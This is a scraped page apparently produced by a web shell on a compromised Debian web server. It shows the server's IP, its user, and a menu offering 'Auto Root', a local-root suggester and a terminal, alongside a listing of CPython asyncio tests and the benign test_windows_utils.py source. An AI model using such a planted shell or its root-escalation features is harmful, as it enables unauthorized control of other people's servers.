Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.122
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
local /
lib /
python3.10 /
test /
test_asyncio /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-sr-x
2025-06-04 09:23
__init__.py
283
B
-rw-r--r--
2025-06-04 09:23
__main__.py
58
B
-rw-r--r--
2025-06-04 09:23
echo.py
148
B
-rw-r--r--
2025-06-04 09:23
echo2.py
123
B
-rw-r--r--
2025-06-04 09:23
echo3.py
276
B
-rw-r--r--
2025-06-04 09:23
functional.py
7.3
KB
-rw-r--r--
2025-06-04 09:23
test_base_events.py
79.07
KB
-rw-r--r--
2025-06-04 09:23
test_buffered_proto.py
2.28
KB
-rw-r--r--
2025-06-04 09:23
test_context.py
1.04
KB
-rw-r--r--
2025-06-04 09:23
test_events.py
104.04
KB
-rw-r--r--
2025-06-04 09:23
test_futures.py
29.24
KB
-rw-r--r--
2025-06-04 09:23
test_futures2.py
1.58
KB
-rw-r--r--
2025-06-04 09:23
test_locks.py
29.46
KB
-rw-r--r--
2025-06-04 09:23
test_pep492.py
5.65
KB
-rw-r--r--
2025-06-04 09:23
test_proactor_events.py
37.03
KB
-rw-r--r--
2025-06-04 09:23
test_protocols.py
2.24
KB
-rw-r--r--
2025-06-04 09:23
test_queues.py
18.6
KB
-rw-r--r--
2025-06-04 09:23
test_runners.py
5.18
KB
-rw-r--r--
2025-06-04 09:23
test_selector_events.py
47.96
KB
-rw-r--r--
2025-06-04 09:23
test_sendfile.py
20.95
KB
-rw-r--r--
2025-06-04 09:23
test_server.py
3.8
KB
-rw-r--r--
2025-06-04 09:23
test_sock_lowlevel.py
18.07
KB
-rw-r--r--
2025-06-04 09:23
test_sslproto.py
25.77
KB
-rw-r--r--
2025-06-04 09:23
test_streams.py
36.51
KB
-rw-r--r--
2025-06-04 09:23
test_subprocess.py
26.26
KB
-rw-r--r--
2025-06-04 09:23
test_tasks.py
111.8
KB
-rw-r--r--
2025-06-04 09:23
test_threads.py
1.59
KB
-rw-r--r--
2025-06-04 09:23
test_transports.py
3.73
KB
-rw-r--r--
2025-06-04 09:23
test_unix_events.py
61.11
KB
-rw-r--r--
2025-06-04 09:23
test_waitfor.py
8.47
KB
-rw-r--r--
2025-06-04 09:23
test_windows_events.py
10.69
KB
-rw-r--r--
2025-06-04 09:23
test_windows_utils.py
4.14
KB
-rw-r--r--
2025-06-04 09:23
utils.py
16.94
KB
-rw-r--r--
2025-06-04 09:23
Save
Rename
"""Tests for window_utils""" import sys import unittest import warnings if sys.platform != 'win32': raise unittest.SkipTest('Windows only') import _overlapped import _winapi import asyncio from asyncio import windows_utils from test import support def tearDownModule(): asyncio.set_event_loop_policy(None) class PipeTests(unittest.TestCase): def test_pipe_overlapped(self): h1, h2 = windows_utils.pipe(overlapped=(True, True)) try: ov1 = _overlapped.Overlapped() self.assertFalse(ov1.pending) self.assertEqual(ov1.error, 0) ov1.ReadFile(h1, 100) self.assertTrue(ov1.pending) self.assertEqual(ov1.error, _winapi.ERROR_IO_PENDING) ERROR_IO_INCOMPLETE = 996 try: ov1.getresult() except OSError as e: self.assertEqual(e.winerror, ERROR_IO_INCOMPLETE) else: raise RuntimeError('expected ERROR_IO_INCOMPLETE') ov2 = _overlapped.Overlapped() self.assertFalse(ov2.pending) self.assertEqual(ov2.error, 0) ov2.WriteFile(h2, b"hello") self.assertIn(ov2.error, {0, _winapi.ERROR_IO_PENDING}) res = _winapi.WaitForMultipleObjects([ov2.event], False, 100) self.assertEqual(res, _winapi.WAIT_OBJECT_0) self.assertFalse(ov1.pending) self.assertEqual(ov1.error, ERROR_IO_INCOMPLETE) self.assertFalse(ov2.pending) self.assertIn(ov2.error, {0, _winapi.ERROR_IO_PENDING}) self.assertEqual(ov1.getresult(), b"hello") finally: _winapi.CloseHandle(h1) _winapi.CloseHandle(h2) def test_pipe_handle(self): h, _ = windows_utils.pipe(overlapped=(True, True)) _winapi.CloseHandle(_) p = windows_utils.PipeHandle(h) self.assertEqual(p.fileno(), h) self.assertEqual(p.handle, h) # check garbage collection of p closes handle with warnings.catch_warnings(): warnings.filterwarnings("ignore", "", ResourceWarning) del p support.gc_collect() try: _winapi.CloseHandle(h) except OSError as e: self.assertEqual(e.winerror, 6) # ERROR_INVALID_HANDLE else: raise RuntimeError('expected ERROR_INVALID_HANDLE') class PopenTests(unittest.TestCase): def test_popen(self): command = r"""if 1: import sys s = sys.stdin.readline() sys.stdout.write(s.upper()) sys.stderr.write('stderr') """ msg = b"blah\n" p = windows_utils.Popen([sys.executable, '-c', command], stdin=windows_utils.PIPE, stdout=windows_utils.PIPE, stderr=windows_utils.PIPE) for f in [p.stdin, p.stdout, p.stderr]: self.assertIsInstance(f, windows_utils.PipeHandle) ovin = _overlapped.Overlapped() ovout = _overlapped.Overlapped() overr = _overlapped.Overlapped() ovin.WriteFile(p.stdin.handle, msg) ovout.ReadFile(p.stdout.handle, 100) overr.ReadFile(p.stderr.handle, 100) events = [ovin.event, ovout.event, overr.event] # Super-long timeout for slow buildbots. res = _winapi.WaitForMultipleObjects(events, True, int(support.SHORT_TIMEOUT * 1000)) self.assertEqual(res, _winapi.WAIT_OBJECT_0) self.assertFalse(ovout.pending) self.assertFalse(overr.pending) self.assertFalse(ovin.pending) self.assertEqual(ovin.getresult(), len(msg)) out = ovout.getresult().rstrip() err = overr.getresult().rstrip() self.assertGreater(len(out), 0) self.assertGreater(len(err), 0) # allow for partial reads... self.assertTrue(msg.upper().rstrip().startswith(out)) self.assertTrue(b"stderr".startswith(err)) # The context manager calls wait() and closes resources with p: pass if __name__ == '__main__': unittest.main()